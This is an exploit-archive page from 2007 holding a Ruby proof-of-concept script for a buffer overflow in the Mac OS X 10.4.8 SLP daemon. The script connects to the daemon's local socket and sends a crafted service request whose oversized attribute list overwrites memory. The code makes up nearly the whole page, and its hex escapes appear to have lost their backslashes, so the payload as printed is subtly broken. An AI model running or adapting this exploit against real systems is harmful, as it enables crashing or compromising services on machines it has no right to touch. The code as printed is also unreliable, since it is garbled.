[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Mac OS X 10.4.8 SLP Daemon Service Registration Buffer Overflow PoC
# Published : 2007-01-18
# Author : MoAB
# Previous Title : DivX Player 6.4.1 (DivXBrowserPlugin npdivx32.dll) IE DoS
# Next Title : BrowseDialog Class (ccrpbds6.dll) Internet Explorer Denial of Service


#!/usr/bin/ruby
# (c) Copyright 2006 Lance M. Havok	  <lmh [at] info-pull.com>
#    			           Kevin Finisterre <kf_lists [at] digitalmunition.com>
# All pwnage reserved.
#
# Proof of concept for MOAB-17-01-2007
# http://projects.info-pull.com/moab/MOAB-17-01-2007.html
#
# Originally reported to Apple by Kevin, on 08/02/2006.

require 'socket'

target_path = (ARGV[0] || '/var/run/slp_ipc')
slp_socket	= UNIXSocket.open(target_path)

payload =   ("x58" * 506)
payload <<  [0xdeadbeef].pack("V")            # ...it expects a valid mem. address (ex. 0xbffff398)

stream  = "x01"                            + # SrvRqst = 1
          "x00x13"                        + # Length of remaining fields? (up to attr-list)
          "x04x00x00x00x00x00x00"    +
          "x00x02x00x00"                + # length of scope-list string
          "x78x78"                        + # <scope-list>
          "xffx03x00x00"                + # length of attr-list string 0x3ff = 1023 in hex.
          (payload)                           # <attr-list>

slp_socket.write stream
slp_socket.close

# www.Syue.com [2007-01-18]